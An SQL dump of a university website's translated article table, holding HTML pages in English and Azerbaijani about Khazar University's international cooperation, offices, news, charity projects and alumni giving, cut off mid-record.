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INSERT INTO `articles_translate` (`id`, `articles_id`, `language`, `name`, `summary`, `body`) VALUES (1,1,'en','ABOUT US','ABOUT US','<h3>Educational and Research Institutions</h3>\r\n                <p>\r\n                    Khazar University has long tradition of international cooperation. Since its establishment, international affiliations have become one the major goals of the university. Khazar is actively engaged in collaborative projects and partnerships all over the world. Its current objective is to focus on the content and quality of international cooperation in order to make internationalization a balanced element of education and research. International cooperation is a prerequisite for ensuring the sustainability and quality of teaching and research at a university. Cultivating a network of international relations allows Khazar University to boost the mobility of its academic staff and students.\r\n                </p>\r\n                <strong>The internationalization processes take place in the following areas:</strong>\r\n                <ul>\r\n                    <li> Bilateral cooperation agreements (with 46 universities in 22 countries all over the world);</li>\r\n                    <li> Membership in three consortiums of universities: International Information Security Research Consortium; </li>\r\n                    <li>Caucasus International</li>\r\n                    <li>Consortium for Academic Cooperation (CICAC); and Alliance of Universities for Democracy;</li>\r\n                    <li>Participation in international educational and research programs and projects;</li>\r\n                    <li>Exchanges of students and academic staff;</li>\r\n                    <li> International cooperation on the faculty, institute, department and individual levels.</li>\r\n                </ul>\r\n                <p>\r\n                    By participating in three different consortiums of universities, Khazar University strives to intensify different types of exchanges and to widen possibilities for internationalization of studies and research.\r\n                </p>'),(2,2,'en','ACADEMICS','ACADEMICS','<h3><br></h3>'),(1597,991,'az','“Dünya” məktəbi, 2016-2017-ci tədris ili üçün 1-11-ci siniflərə şagird qəbulu elan edir','Xəzər Universiteti “Dünya” məktəbi, 2016-2017-ci tədris ili üçün 1-11-ci siniflərə şagird qəbulu elan edir. Tədris Beynəlxalq bakalavr proqramı (IB) üzrə ixtisaslaşmış xarici və yerli müəllimlər tərəfindən həyata keçirilir.','<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:14.5pt;background:white\"\"=\"\">Xəzər Universiteti “Dünya” məktəbi, 2016-2017-ci\r\ntədris ili üçün 1-11-ci siniflərə şagird qəbulu elan edir. Tədris Beynəlxalq bakalavr\r\nproqramı (IB) üzrə ixtisaslaşmış xarici və yerli müəllimlər tərəfindən həyata\r\nkeçirilir. </p>\r\n<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:14.5pt;background:white\"\"=\"\">IBPYP –1-4 ibtidai sinifləri, İBMYP –5-9-cu\r\nsinifləri, IBDP isə 10-11-ci sinifləri əhatə edir. </p>\r\n<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:14.5pt;background:white\"\"=\"\">Xəzər Universiteti “Dünya” məktəbi 2009-cu ildən Beynəlxalq\r\nbakalavr diplom proqramının (IBDP) tədrisi ilə məşğuldur. Məktəb bu sahədə\r\nçoxsaylı uğurlara imza ataraq, ibtidai və orta məktəb üzrə yüksək standartlara\r\nmalik keyfiyyətli Beynəlxalq bakalavr təhsili verir. “Dünya” məktəbinin\r\nşagirdləri yerli və beynəlxalq olimpiadalarda müfəffəqiyyətlə iştirak edir və\r\nyüksək nəticələr əldə edirlər.</p>\r\n<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:14.5pt;background:white\"\"=\"\">“Dünya” məktəbinin məzunları dünyanın məşhur\r\nuniversitetlərində (Oxford, Boston, Lancaster, Surrey,Warwick və s.) təhsil\r\nalırlar.</p>\r\n<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:14.5pt;background:white\"\"=\"\">Tədris akademik və sosial\r\nbaxımdan zəngin olması ilə yanaşı, həm də məktəbdənkənar fəaliyyəti ilə\r\nşagirdlərin hərtərəfli inkişafı üçün qayğıkeş mühit yaradır. Məktəbin şagirdləri\r\nkonfranslar təşkil etməklə bərabər, həm də xarici ölkələrdə (Türkiyə,\r\nYunanıstan, İngiltərə) konfranslarda müvəffəqiyyətlə çıxış edirlər.</p>\r\n<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:14.5pt;background:white\"\"=\"\">Məktəbə qəbul\r\nimtahanlar əsasında həyata keçirilir.</p>\r\n<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:14.5pt;background:white\"\"=\"\">Qəbul\r\nimtahanında yüksək nəticə göstərən şagirdlər güzəştli təhsil imkanı əldə edirlər.</p>\r\n<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:14.5pt;background:white\"\"=\"\">“Dünya” məktəbi yolunuzu\r\ngözləyir.</p>'),(3,3,'en','ADMISSION','ADMISSION','<h3><br></h3>'),(4,4,'en','RESEARCH','RESEARCH','<h3><br></h3>'),(5,5,'en','Khazar in brief','Khazar in brief','<h3>Educational and Research Institutions</h3>\r\n                <p>\r\n                    Khazar University has long tradition of international cooperation. Since its establishment, international affiliations have become one the major goals of the university. Khazar is actively engaged in collaborative projects and partnerships all over the world. Its current objective is to focus on the content and quality of international cooperation in order to make internationalization a balanced element of education and research. International cooperation is a prerequisite for ensuring the sustainability and quality of teaching and research at a university. Cultivating a network of international relations allows Khazar University to boost the mobility of its academic staff and students.\r\n                </p>\r\n                <p><strong><strong></strong>The internationalization processes take place in the following areas:</strong></p><p></p><ul>\r\n                    <li> Bilateral cooperation agreements (with 46 universities in 22 countries all over the world);</li>\r\n                    <li> Membership in three consortiums of universities: International Information Security Research Consortium; </li>\r\n                    <li>Caucasus International</li>\r\n                    <li>Consortium for Academic Cooperation (CICAC); and Alliance of Universities for Democracy;</li>\r\n                    <li>Participation in international educational and research programs and projects;</li>\r\n                    <li>Exchanges of students and academic staff;</li>\r\n                    <li> International cooperation on the faculty, institute, department and individual levels.</li>\r\n                </ul><p></p>\r\n                <p>\r\n                    By participating in three different consortiums of universities, Khazar University strives to intensify different types of exchanges and to widen possibilities for internationalization of studies and research.\r\n                </p>'),(6,6,'en','Campus life','Baku, Azerbaijan','<h3>Educational and Research Institutions</h3>\r\n                <p>\r\n                    Khazar University has long tradition of international cooperation. Since its establishment, international affiliations have become one the major goals of the university. Khazar is actively engaged in collaborative projects and partnerships all over the world. Its current objective is to focus on the content and quality of international cooperation in order to make internationalization a balanced element of education and research. International cooperation is a prerequisite for ensuring the sustainability and quality of teaching and research at a university. Cultivating a network of international relations allows Khazar University to boost the mobility of its academic staff and students.\r\n                </p>\r\n                <strong>The internationalization processes take place in the following areas:</strong>\r\n                <ul>\r\n                    <li> Bilateral cooperation agreements (with 46 universities in 22 countries all over the world);</li>\r\n                    <li> Membership in three consortiums of universities: International Information Security Research Consortium; </li>\r\n                    <li>Caucasus International</li>\r\n                    <li>Consortium for Academic Cooperation (CICAC); and Alliance of Universities for Democracy;</li>\r\n                    <li>Participation in international educational and research programs and projects;</li>\r\n                    <li>Exchanges of students and academic staff;</li>\r\n                    <li> International cooperation on the faculty, institute, department and individual levels.</li>\r\n                </ul>\r\n                <p>\r\n                    By participating in three different consortiums of universities, Khazar University strives to intensify different types of exchanges and to widen possibilities for internationalization of studies and research.\r\n                </p>'),(7,7,'en','Khazar Publications and Media','Khazar Publications and Media','<h3 style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><br></h3>'),(8,8,'en','Education and Research','Education and Research','                <h3>Educational and Research Institutions</h3>\r\n                <p>\r\n                    Khazar University has long tradition of international cooperation. Since its establishment, international affiliations have become one the major goals of the university. Khazar is actively engaged in collaborative projects and partnerships all over the world. Its current objective is to focus on the content and quality of international cooperation in order to make internationalization a balanced element of education and research. International cooperation is a prerequisite for ensuring the sustainability and quality of teaching and research at a university. Cultivating a network of international relations allows Khazar University to boost the mobility of its academic staff and students.\r\n                </p>\r\n\r\n                <b>The internationalization processes take place in the following areas:</b>\r\n\r\n                <ul>\r\n                    <li> Bilateral cooperation agreements (with 46 universities in 22 countries all over the world);</li>\r\n                    <li> Membership in three consortiums of universities: International Information Security Research Consortium; </li>\r\n                    <li>Caucasus International</li>\r\n                    <li>Consortium for Academic Cooperation (CICAC); and Alliance of Universities for Democracy;</li>\r\n                    <li>Participation in international educational and research programs and projects;</li>\r\n                    <li>Exchanges of students and academic staff;</li>\r\n                    <li> International cooperation on the faculty, institute, department and individual levels.</li>\r\n\r\n                </ul>\r\n\r\n                <p>\r\n\r\n                    By participating in three different consortiums of universities, Khazar University strives to intensify different types of exchanges and to widen possibilities for internationalization of studies and research.\r\n                </p>\r\n'),(9,9,'en','Offices and Services','Offices and Services','<strong><h3><a href=\"http://www.khazar.org/en/menus/781/office_of_rector\">Office of Rector</a>&nbsp;</h3></strong><h3><strong><a href=\"http://www.khazar.org/en/menus/782/offices_of_vice_rectors\">Offices of Vice-Rectors:</a>&nbsp;<br></strong></h3><br><ul><li><a href=\"http://www.khazar.org/en/menus/782/offices_of_vice_rectors\">Office of Vice-Rector for Academic Affairs</a></li><li><a href=\"http://www.khazar.org/en/menus/782/offices_of_vice_rectors\">Office of Vice-Rector&nbsp;for Administration and Student Affairs</a></li><li><a href=\"http://www.khazar.org/en/menus/782/offices_of_vice_rectors\">Office of Vice-Rector&nbsp;for&nbsp;Research<br></a></li></ul><br><br><strong><a href=\"http://www.khazar.org/en/menus/785/deans_offices\"><h3>Deans\' Offices:<strong></strong></h3></a></strong><br><ul><li><a href=\"http://www.khazar.org/en/menus/47/school_of_engineering_and_applied_science\">School of Engineering And Applied Science</a></li><li><a href=\"http://www.khazar.org/en/menus/54/school_of_economics_and_management\">School of Economics and Management</a></li><li><a href=\"http://www.khazar.org/en/menus/56/school_of_humanities_and_social_sciences\">School of Humanities</a></li><li><a href=\"http://www.khazar.org/en/menus/55/school_of_education\">School of Education</a></li></ul><br><br><h3><strong>Academic Offices:<br></strong></h3><br><ul><li><a href=\"http://www.khazar.org/en/menus/17/division_of_graduate_studies_and_research\">Division of Graduate Studies and Research</a>&nbsp;</li><li><a href=\"http://www.khazar.org/en/menus/19/academic_departments\">Academic Departments</a>&nbsp;</li><li><a href=\"http://www.khazar.org/en/menus/18/institutes_and_centers\">Institutes and Centers</a></li></ul><br><br><h3><strong>Administrative Offices:<br></strong></h3><br><ul><li><a href=\"http://www.khazar.org/en/menus/870/_human_resources\">Human Resources</a></li><li><a href=\"http://www.khazar.org/en/menus/884/our_staff\">Public Relations and Media Office</a></li><li><a href=\"http://www.khazar.org/en/menus/875/registration_and_record_office\">Registration and Record Office</a></li><li>Admission and Information Office</li><li><a href=\"http://www.khazar.org/en/menus/886/personnel_office\">Personnel Office</a></li><li><a href=\"http://www.khazar.org/en/menus/887/financial_office\">Financial Office</a></li><li><a href=\"http://www.khazar.org/en/menus/888/accounting_office\">Accounting Office</a></li><li>Information Technology Office</li><li>Information Systems Office</li><li>Procurement Office</li><li>Repair and Construction Office</li><li>Maintenance Office</li><li><a href=\"http://www.khazar.org/en/menus/889/printing_house\">Publishing House</a></li><li><a href=\"http://www.khazar.org/en/menus/889/printing_house\">Printing House</a></li><li><a href=\"http://www.khazar.org/en/menus/89/development_center\">Development Center</a></li><li><a href=\"http://www.khazar.org/en/menus/890/institutional_research\">Institutional Research Center</a></li><li><a href=\"http://www.khazar.org/en/menus/99/library_and_information_center\">Library and Information Center</a></li><li><a href=\"http://www.khazar.org/en/menus/103/career_development_center\">Career Development&nbsp;Center</a></li><li><a href=\"http://www.khazar.org/en/menus/100/media_resource_center\">Media Center</a><a href=\"http://www.khazar.org/en/menus/100/media_resource_center\"></a></li><li><a href=\"http://www.khazar.org/en/menus/424/internet_education_center\">Internet Education&nbsp;Center</a></li><li><a href=\"http://www.khazar.org/en/menus/894/the_health_care_center\">Health Care Center</a></li><li><a href=\"http://www.khazar.org/en/menus/101/khazar_psychology_counselling_center\">Khazar Psychology Counselling Center</a></li><li><a href=\"http://www.khazar.org/en/menus/897/canteen\">Canteen</a></li><li><a href=\"http://www.dunyaschool.az/\" target=\"_blank\">Dunya School Offices</a></li></ul>'),(4603,2731,'az','Malayziya səfiri Professor İsaxanlıya “Təşəkkür Məktubu” ünvanlamışdır','Malayziyanın Azərbaycandakı Fövqaladə və Səlahiyyətli səfiri cənab Roslan bin Abdul Rahman Xəzər Universitetinin təsisçisi və Direktorlar...','<p>Malayziyanın Azərbaycandakı Fövqaladə və Səlahiyyətli səfiri cənab Roslan bin Abdul Rahman Xəzər Universitetinin təsisçisi və Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlıya 2017-ci il noyabrın 20-dən 26-dək baş tutmuş Malayziya Perlis Universitetinin 13-cü Akademik səfəri çərçivəsində Xəzər Universitetində keçirilmiş tədbirlərin təşkilində göstərdiyi köməyə görə “Təşəkkür məktubu” ünvanlamışdır.</p>'),(1683,1025,'az','İnsan Resursları','İnsan Resursları','<p style=\"text-align:justify\">Xəzər Universitetinin İnsan resursları (İR) departamenti aşağıdakı sahələr də daxil olmaqla insanların ehtiyac və fəaliyyətləri ilə bağlı bütün funksiyaları yerinə yetirməkdə məsuliyyət daşıyır.</p><ul type=\"disc\"><li><p>Cəlb etmə</p></li><li><p>İşəgötürmə</p></li><li><p>Təlim</p></li><li><p>Təşkilatın inkişafı</p></li><li><p>Ünsiyyət</p></li><li><p>İdarəetməyə nəzarət</p></li><li><p>Təlimat</p></li><li><p>Siyasət tövsiyyəsi</p></li><li><p>Maaş və yardım</p></li><li><p>Komanda yaratma</p></li><li><p><a href=\"http://www.khazar.org/az/menus/886/personnel_office\">Kadrlar Şöbəsi</a></p></li></ul><p style=\"text-align:justify\">İR departamenti bütün akademik departamentlər və universitetin insan resursları ilə yaxından maraqlanan digər departamentlərlə birgə çalışır.</p><p style=\"text-align:justify\">İR departamenti daima universitet daxilində müxtəlif vəzifələr üçün namizədlər axtarışındadır. Bu, Xəzər Universitetinin Karyera Mərkəzi, ixtisaslaşmış xarici təşkilatlarla və xaricdə PhD təhsili alıb Azərbaycana dönməyi planlaşdıran tələbələrlə əlaqə yaratmaq vasitəsilə həyata keçirilir. İR departamenti həmçinin işlə təmin etmə və işdən azad etmə prosesində də yaxından iştirak edir.</p><p style=\"text-align:justify\">İşəgötürmədən sonra İR departamenti yeni əməkdaşın orientasiya prosesini təmin edir. Vacib məsələlərdən biri də mövcud işçilər üçün müxtəlif peşəkar təlimlər, seminarlar təşkil etməkdən ibarətdir.</p><p style=\"text-align:justify\">İR departamenti İşəgötürmə və orientasiya proseslərindən sonra hər bir işçi üçün əsas vəzifə borclarını müəyyən edir. Departament, davranış və rəftar halları ilə bağlı qarışıqlıq yaranarsa, yeni qaydalar müəyyən edə bilər.</p><p style=\"text-align:justify\">Xəzər Universiteti üçün standart qaydalar hazırlamaq və hamını bu qaydalara riayət etmək üçün&nbsp; təlimləndirmək çox vacibdir. Bunun üçün İR departamenti işçilərin gördükləri işləri daimi olaraq nəzərdən keçirməlidir. Bu baxımdan İR departamenti əməkdaşların gərgin işlərini qiymətləndirməkdə, onlara müxtəlif təyinatlı sertifikat və mükafatların verilməsi işinə də məsuldur.</p><p style=\"text-align:justify\">İR departamenti əməkdaşları ruhlandırmalı, onlarda yüksək əhval-ruhiyyə yaratmalı və daha yaxşı çalışmaq üçün həvəsləndirməlidir.</p><p style=\"text-align:justify\"><br></p><p style=\"text-align:justify\"><br></p><h3>Əlaqə:</h3><p style=\"text-align:justify\"><img src=\"/files/letters/ozal_m.jpg\" style=\"float:left;width:150px;height:223px;margin-left:7px;margin-right:7px;margin-bottom:7px\"><strong><a href=\"http://www.khazar.org/files/letters/CV_resume_ozal_to_publish.pdf\">Özal Məmmədli</a></strong></p><p style=\"text-align:justify\"><strong>Menecer</strong></p><p style=\"text-align:justify\"><strong>E-mail:&nbsp;</strong><a href=\"mailto:hr@khazar.org\">hr[at]khazar.org</a>  <a href=\"mailto:ommadli@khazar.org\" target=\"_blank\" rel=\"noopener noreferrer\"></a>  </p><p style=\"text-align:justify\"><strong>Telefon:&nbsp;</strong>(+994 12) 421 10 93 (212)  </p><p style=\"text-align:justify\"><br></p><p style=\"text-align:justify\"><br></p>'),(4199,2464,'az','Endnote proqramından istifadə ilə bağlı seminar keçiriləcək','2017-ci il oktyabrın 6-sı saat 16:00-da Xəzər Universiteti “Neftçilər” kampusunda (otaq 402N) PhD Babək Əlibəyovun...','<p>2017-ci il oktyabrın 6-sı saat 16:00-da Xəzər Universiteti “Neftçilər” kampusunda (otaq 402N) PhD Babək Əlibəyovun “Məqalə yazmağın ən effektiv yolu –&nbsp;Endnote-dan necə istifadə etməli” (“Using the most effective tool while writing a paper with EndNote”) adlı seminarı olacaq.</p><p>Bu proqram təminatı əsasında məqalə yazmaq, elmi işlərin mənbələrini hazırlamaq, internetdə tədqiqat aparmaq çox asanlaşır. Qatılanlar seminarda praktiki olaraq Endnote proqramından istifadə etmək imkanı əldə edəcəklər.</p><p>Maraqlanan hər kəs seminara dəvətlidir.</p>'),(4200,2465,'az','“Ədalət və həqiqət” qəzetində Xəzər Universiteti haqqında məqalə','“Ədalət və həqiqət” qəzetinin 20 avqust-10 sentyabr tarixli nömrəsində Cəmil Zəbhullaoğlu və Elman Maliyevin...','<p>“Ədalət və həqiqət” qəzetinin 20 avqust-10 sentyabr tarixli nömrəsində Cəmil Zəbhullaoğlu və Elman Maliyevin “Beynəlxalq reytinqli Xəzər Universiteti” adlı irihəcmli məqaləsi dərc olunmuşdur. Məqalədə universitetin keçdiyi yola nəzər salınır, uğurlarından ətraflı bəhs edilir.</p>'),(4201,2466,'az','Xəzər Universitetinin əməkdaşının məqaləsi Lənkəranda çap edildi','Xəzər Universiteti Humanitar və sosial elmlər fakültəsinin dekan köməkçisi Mələk Kərimovanın (doktorant)...','<p>Xəzər Universiteti Humanitar və sosial elmlər fakültəsinin dekan köməkçisi Mələk Kərimovanın (doktorant) “İncəsənət psixoloji təsir vasitəsi kimi” adlı elmi məqaləsi Azərbaycan Respublikası Prezidenti yanında Ali Attestasiya Komissiyasının Dövri Elmi Nəşrlərin çapı üçün tövsiyə edilən, Lənkəran Dövlət Universitetinin “Elmi xəbərlər” jurnalının Humanitar elmləri seriyasının 2017-ci ilinin 1-ci cildində çap edilmişdir. Məqalədə incəsənətə nə üçün ehtiyac duyulduğu, insanın hansı tələbatlarını ödədiyi, incəsənətin bir növü olan musiqinin insana olan psixoloji təsirinin nələr olduğu ilə əlaqədar suallara cavab axtarılmış və bu sahədə aparılan tədqiqatlardan bəhs edilərək, bu mövzu ilə bağlı müəllif tərəfindən təkliflər verilmişdir.</p><p>Məqaləni&nbsp;tam şəkildə <a href=\"/files/letters/Melek_Kerimova.PDF\">PDF</a> formatda burada oxumaq olar.</p>'),(4202,2467,'az','Xəzər Universitetinin əməkdaşının məqaləsi Lənkəranda çap edildi','Xəzər Universiteti Humanitar və sosial elmlər fakültəsinin dekan köməkçisi Validə Kərimovanın (doktorant)...','<p>Xəzər Universiteti Humanitar və sosial elmlər fakültəsinin dekan köməkçisi Validə Kərimovanın (doktorant) “Political discourse as a subject of political liguistics” adlı elmi məqaləsi Azərbaycan Respublikası Prezidenti yanında Ali Attestasiya Komissiyasının Dövri Elmi Nəşrlərin çapı üçün tövsiyə edilən, Lənkəran Dövlət Universitetinin “Elmi xəbərlər” jurnalının Humanitar elmləri seriyasının 2017-ci ilinin 1-ci cildində çap edilmişdir. Məqalədə metaforanı dilçilikdə rolundan əhatəli bəhs edilmişdir. Aparılmış tədqiqatlara dayanaraq müəllif qeyd edir ki, metafora dilçilik, ədəbiyyat və diskursu daha da zəngin edir. Təqdim edilən tədqiqat işi bir neçə müxtəlif yerli və xarici dilçilərin bu sahədə apardıqları tədqiqatları, yazılmış məqalələri və fikirləri bir yerə cəmləyərək metaforanın siyasi diskurs və siyasi dilçilikdəki rolunu analiz etmişdir. Tədqiqatın əsas məqsədi metaforanın hansı anlamı verdiyini və dilçilikdəki rolunu izah etməkdir.&nbsp;</p><p>Məqaləni tam şəkildə <a href=\"/files/letters/Valide_Kerimova.PDF\">PDF </a>formatda burada oxumaq olar.</p>'),(10,10,'en','Community and Charity Projects','Community and Charity Projects','<p><strong>“Sun” Children’s Home №3</strong></p><p>Khazar University has a friendship with “Sun” Children’s Home №3. That friendship has united us for more than 20 years. &nbsp;As we learn about their needs, we try our best within our means to meet them. We’ve become like a family to each other, and when we’re together one can frequently hear the word “our.” &nbsp;</p><p>Khazar has put 8 children from the home through the university. Two of them earned master’s degrees, and one of them works as an instructor at the university. This year one of the children entered the school of Humanities and Social Sciences. Students of the School of Economics and Management of Khazar University helped these children prepare for entrance examinations in Mathematics, History and English. During the past 20 years, Khazar University has made provisions for 14 single young people to get married. Items necessary for a comfortable life were collected and luxurious weddings were organized. Students prepared trays of sweets with great enthusiasm and decorated furniture.</p><p>The university also presented a carpet-making workshop to the children’s home in order to help them learn the art of carpet-making. It has also enriched the library of “Sun” Children’s Home with books, entertainment and computer devices, and various films and games that draw the children’s interest.</p><p>Before all our major holidays, we make serious preparations to celebrate with the children. In particular, celebrating New Year and the Novruz holiday with them made the little children glad. Students dressed up as Santa Clauses, Snow Princesses and Clowns made the children happy with a lot of presents. During our national Novruz holiday, students gave the children traditional trays filled with baked goods like shakarbura, pakhlava, gogal, badambura, and colored eggs. These holidays beautifully reflect the children’s and student’s love for each other. The name of the children’s home is “Sun,” and we try our best to give the children many sunny days.&nbsp;</p><div><br></div><p><strong>Nursing Home</strong></p><p>For more than 10 years, Khazar University has had a special connection with a nursing home. Our students visit their adopted grandparents there on holidays such as Gurban (Day of Sacrifice), Novruz, and Easter. The elderly people look forward to the students’ visits, to which they bring presents, prepared concert programs and much love. Our government provides all the necessary facilities for the elderly people; each room has a TV, carpet, and everything the residents need. They are provided with good nutrition for their health. However, these grandmothers and grandfathers are still in need of tenderness, loving hugs and kind words, and we are trying to meet those needs that they have felt for so long.&nbsp;</p><div><br></div><p><strong>War Veterans</strong></p><p>Veterans are the most sought-after guests at our holiday celebrations. Each year when we celebrate May 9th and Flower Day together, we present a gift and a beautiful flower to our guests. They love lilac flowers most of all, because it reminds them of difficult wars that ended in victory. 92-year-old Galina Samulivna, 86-year-old Mrs. Sara, and 88-year-old Ibrahim Mammadoglu can very often be seen at our events, but they especially love when our students visit them to drink tea and give them a chance to pass time reminiscing about their youth.&nbsp;</p><div><br></div><p><strong>School for Handicapped Children</strong></p><p>For 3 years now, we have been meeting with pupils of the school for handicapped children. There are many children among them like Jumshud and Ismayil, who are very talented. For example, Ismayil’s drawings were put on sale in an exhibition and 319 manats of profit were made and given to Ismayil. This money made the child incredibly happy. It wasn’t really so much money, but the profit, the fruit of his labor, was enough to show him that he had the ability to earn money on his own in the future. The students in the school are hindered from living their childhoods in the way they’d like because of physical disabilities, but our students try to make their lives more colorful by putting on shows for them and building sincere relationships with them.&nbsp;</p><div><br></div><p><strong>Blood Donation</strong></p><p>It is a special day when our students voluntarily give blood, because on these days they ask themselves the question “if not me, then who?” Khazar has been given a certificate for its activity in coordinating blood drives.&nbsp;</p><div><br></div><p><strong>“Dunya” School Initiatives</strong></p><p>Khazar University’s affiliate “Dunya” School is also involved in charity and community projects, such as:</p><p>1. Visiting and providing help to Children’s Home No. 3 in the suburb of Mardakan;</p><p>2. Providing assistance to handicapped war veterans and victims of workplace accidents in a nursing home in the suburb of Bilgah;</p><p>3. Helping Rasul Shakiroghlu Aghamaliyev, resident of Shabran, who has been paralyzed since birth (in 2009 and 2011, funds raised by Dunya School pupils made operations on Rasul’s legs possible, and the school continually supports Rasul’s rehabilitation by providing for treatment several times a year);</p><p>4. Helping sick and handicapped members of low-income families in the region of Yasamal. &nbsp;</p>'),(11,11,'en','Arts, Entertainment, Sports','Arts, Entertainment, Sports','<h3>Educational and Research Institutions</h3>\r\n                <p>\r\n                    Khazar University has long tradition of international cooperation. Since its establishment, international affiliations have become one the major goals of the university. Khazar is actively engaged in collaborative projects and partnerships all over the world. Its current objective is to focus on the content and quality of international cooperation in order to make internationalization a balanced element of education and research. International cooperation is a prerequisite for ensuring the sustainability and quality of teaching and research at a university. Cultivating a network of international relations allows Khazar University to boost the mobility of its academic staff and students.\r\n                </p>\r\n                <strong>The internationalization processes take place in the following areas:</strong>\r\n                <ul>\r\n                    <li> Bilateral cooperation agreements (with 46 universities in 22 countries all over the world);</li>\r\n                    <li> Membership in three consortiums of universities: International Information Security Research Consortium; </li>\r\n                    <li>Caucasus International</li>\r\n                    <li>Consortium for Academic Cooperation (CICAC); and Alliance of Universities for Democracy;</li>\r\n                    <li>Participation in international educational and research programs and projects;</li>\r\n                    <li>Exchanges of students and academic staff;</li>\r\n                    <li> International cooperation on the faculty, institute, department and individual levels.</li>\r\n                </ul>\r\n                <p>\r\n                    By participating in three different consortiums of universities, Khazar University strives to intensify different types of exchanges and to widen possibilities for internationalization of studies and research.\r\n                </p>'),(12,12,'en','Khazar People','Khazar People','<h3>Educational and Research Institutions</h3>\r\n                <p>\r\n                    Khazar University has long tradition of international cooperation. Since its establishment, international affiliations have become one the major goals of the university. Khazar is actively engaged in collaborative projects and partnerships all over the world. Its current objective is to focus on the content and quality of international cooperation in order to make internationalization a balanced element of education and research. International cooperation is a prerequisite for ensuring the sustainability and quality of teaching and research at a university. Cultivating a network of international relations allows Khazar University to boost the mobility of its academic staff and students.\r\n                </p>\r\n                <strong>The internationalization processes take place in the following areas:</strong>\r\n                <ul>\r\n                    <li> Bilateral cooperation agreements (with 46 universities in 22 countries all over the world);</li>\r\n                    <li> Membership in three consortiums of universities: International Information Security Research Consortium; </li>\r\n                    <li>Caucasus International</li>\r\n                    <li>Consortium for Academic Cooperation (CICAC); and Alliance of Universities for Democracy;</li>\r\n                    <li>Participation in international educational and research programs and projects;</li>\r\n                    <li>Exchanges of students and academic staff;</li>\r\n                    <li> International cooperation on the faculty, institute, department and individual levels.</li>\r\n                </ul>\r\n                <p>\r\n                    By participating in three different consortiums of universities, Khazar University strives to intensify different types of exchanges and to widen possibilities for internationalization of studies and research.\r\n                </p>'),(13,13,'en','Support Khazar','Support Khazar','<br><ul><li>Khazar University Foundation &nbsp;</li><li>Giving to Khazar University → Ways to Give</li><li>Friends of Khazar University &nbsp;</li><li>Campaign Case → Formula for Success: Khazar University’s Development Campaign</li></ul><br><p><strong>Make a Gift</strong></p><p><strong></strong><strong>→ About <a href=\"http://www.khazar.org/en/menus/89/development_center\">Development Center</a></strong></p><p>Khazar University Development Center has been established recently to support Khazar University progress. The Center is an administrative team reporting to the President of the University and to the Board of Trustees and Directors. This center is leading the University’s advancement program as adopted by the Board of Trustees and Directors. &nbsp;The center oversees development and maintains active and productive relationships with board members, donors, alumni and administration.&nbsp;</p><div><br></div><p><strong>The Development Department oversees specific areas:</strong></p><p>Fundraising → Private → Corporate → Grants</p><p>Alumni Relations</p><p>Parent Relations</p><p>Donor Relations</p><p>Foundation and Corporate Relations&nbsp;</p><div><br></div><p><strong>Khazar ALUMNI</strong></p><p>GET INVOLVED → JOIN TO VOLUNTEER → &nbsp;GIVING TO KHAZAR → &nbsp;SCHOOLS</p><p>Interviews with Alumni (minimum three, will change every three months)</p><div><br></div><p><strong>Get involved</strong></p><p>Alumni</p><p>Khazar Alumni Association (KAA)</p><p>Services for Alumni</p><p>Alumni Directory</p><p>Events Calendar</p><p>Khazar Clubs</p><p>Make a Donation</p><div><br></div><p><strong>Volunteer</strong></p><p>Alumni Council</p><p>Alumni Interview</p><p>Alumni Admissions</p><p>Class Agents</p><p>Reunion Volunteers (Committee)</p><p>Khazar Career Network&nbsp;</p><p>Mentoring Undergrads</p><p>40 Things Alumni and Friends can do for Khazar University</p><div><br></div><p><strong>GIVE</strong></p><p>Development Campaign Case</p><p>Alumni Role in the Campaign</p><p>Ways to Give</p><p>Naming Opportunities</p><div><br></div><p><strong>Ways to Give</strong></p><p> &nbsp;Gifts of Cash</p><div><br></div><p><strong>Make a Gift</strong></p><p>Alumni Online Directory</p><p>Welcome to the Khazar Alumni Association Online Directory</p><p>If you are using the directory for the first time, <a href=\"http://www.kenyon.edu/for-alumni?page=NewUser\">please register now.</a></p><p>To access the directory for the first time, you must register.</p><p>If you are a returning user, <a href=\"http://www.kenyon.edu/for-alumni?Page=BasicLogin\">please log in</a>:</p><div><br></div><p>NOTE: If you do not wish to be included in the online directory, please contact the Alumni Office.</p><p><strong>Services for Alumni</strong></p><p>Library and Information Resources</p><p>Alumni Education</p><p>Career Opportunities</p><p>Networking Opportunities</p><p>Alumni Online Directory</p>'),(14,14,'en','Khazar, Baku, Azerbaijan','Khazar, Baku, Azerbaijan','                <h3>Educational and Research Institutions</h3>\r\n                <p>\r\n                    Khazar University has long tradition of international cooperation. Since its establishment, international affiliations have become one the major goals of the university. Khazar is actively engaged in collaborative projects and partnerships all over the world. Its current objective is to focus on the content and quality of international cooperation in order to make internationalization a balanced element of education and research. International cooperation is a prerequisite for ensuring the sustainability and quality of teaching and research at a university. Cultivating a network of international relations allows Khazar University to boost the mobility of its academic staff and students.\r\n                </p>\r\n\r\n                <b>The internationalization processes take place in the following areas:</b>\r\n\r\n                <ul>\r\n                    <li> Bilateral cooperation agreements (with 46 universities in 22 countries all over the world);</li>\r\n                    <li> Membership in three consortiums of universities: International Information Security Research Consortium; </li>\r\n                    <li>Caucasus International</li>\r\n                    <li>Consortium for Academic Cooperation (CICAC); and Alliance of Universities for Democracy;</li>\r\n                    <li>Participation in international educational and research programs and projects;</li>\r\n                    <li>Exchanges of students and academic staff;</li>\r\n                    <li> International cooperation on the faculty, institute, department and individual levels.</li>\r\n\r\n                </ul>\r\n\r\n                <p>\r\n\r\n                    By participating in three different consortiums of universities, Khazar University strives to intensify different types of exchanges and to widen possibilities for internationalization of studies and research.\r\n                </p>\r\n'),(15,15,'en','Catalogue','Catalogue','<p><a href=\"http://www.khazar.org/files/demo/01Khazar%20in%20brief.pdf\">01Khazar in brief</a></p><p><a 